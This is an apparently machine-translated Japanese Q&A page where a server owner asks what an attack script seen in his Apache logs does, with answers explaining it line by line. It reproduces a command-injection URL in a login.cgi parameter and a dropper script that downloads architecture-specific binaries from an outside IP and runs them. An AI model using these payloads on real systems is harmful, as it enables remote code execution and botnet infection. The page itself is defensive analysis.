web-dev-qa-db-ja.com

このbashスクリプトは何をしますか? [ハック試行]

私は自分のサーバーでApacheがログに記録していることに気づいています。

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

そこで私はカスタムFail2Banフィルタを作り、これらの/login.cgi URLを要求するIPを禁止し始めました。

しかし、私は彼らが何をしようとしているのかに興味があったので、私は彼らが実行しようとしているスクリプトを引っ張りました、そしてそれが正確に何をするのか理解できないようです。/varと/ tmpのArchフォルダを削除することについて何か?

とにかく、ここにあります:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $Shell $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
31
ndom91

1行ずつ:

#!/bin/sh

shシェルを、それがどちらであれ、Shebang行として確立します。要求内のsh%20/tmp/ksはこれをオーバーライドするため、この行は通常のコメントとして扱われ、無視されます。

u="asgknskjdgn"

おそらく他のファイル名と衝突しないように、任意の名前を宣言します。なぜ彼らがmktempを使わないのか私にはわかりませんが、それがすべてのプラットフォームで利用できるわけではないかもしれません。

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

いくつかの一般的なCPUアーキテクチャを列挙します。

http_server="80.211.173.159"
http_port=80

悪用されたサーバー。

cd /tmp/||cd /var/

ディレクトリをあなたのWebサーバがファイルを作成できるような場所に変更しようとします。私はSELinuxがこれを手助けすると信じています、ファイルシステムがそれ自身でするよりWebサーバーがすることができることに関してはるかに厳しい規則を実施することによって。

for name in $bin_names
    do

CPUアーキテクチャごとに…

    rm -rf $u

以前に試みたエクスプロイトプログラムを削除します。次の行のために不要なので、無視することができます。

    cp $Shell $u

現在のシェル実行可能ファイル(/bin/sh)をコピーします。次の行のため無視できます。

    chmod 777 $u

全員に新しいファイルへのフルアクセスを許可します。これはwgetコマンドの後にあるはずです。これは、シェルスクリプティングの初心者の兆候または誤った指示方法のいずれかです。

    >$u

ファイルを空にします。次の行のために無意味です。

    wget http://$http_server:$http_port/$name -O -> $u

このアーキテクチャのエクスプロイトスクリプトでファイルを上書きします。 -O -> $uは、-O - > $uと同等の-O $u(ハイフンはダウンロードが標準出力に書き込まれるべきであることを示す)と書かれているかもしれません。

    ./$u $name

最初の引数としてアーキテクチャを使ってexploitスクリプトを実行します。

done

ループを終了します。

これは、さまざまなCPUプラットフォームに対して既知の悪用を試みる、簡単な悪用試行スクリプトです。なぜそれが$uを3回上書きするのか私は知りませんが、それらの操作は単にスクリプトの初期の繰り返しから残っているかもしれません。おそらく以前のバージョンでは動的に処理されるのではなくハードコードされた攻撃がハードコードされていたと考えられます。

42
l0b0

wgetは重要な危険な行です。

for name in $bin_namesはプラットフォームのリストを処理していて、各プラットフォームごとに一時ディレクトリをクリアし、シェルを上書きコピーして、誰でもアクセスできるようにしています。

それはそれからwgetを使ってファイルをダウンロードして、それからそれがちょうどコピーしたシェルプログラムを使ってそれを実行します。

このスクリプトは基本的に、実行可能なすべてのプラットフォーム用の一連の実行可能ファイルまたはスクリプトをダウンロードしようとし、さらにシステムを危険にさらす可能性があることを期待してそれらをシステムに擦り付けます。

12
Mokubai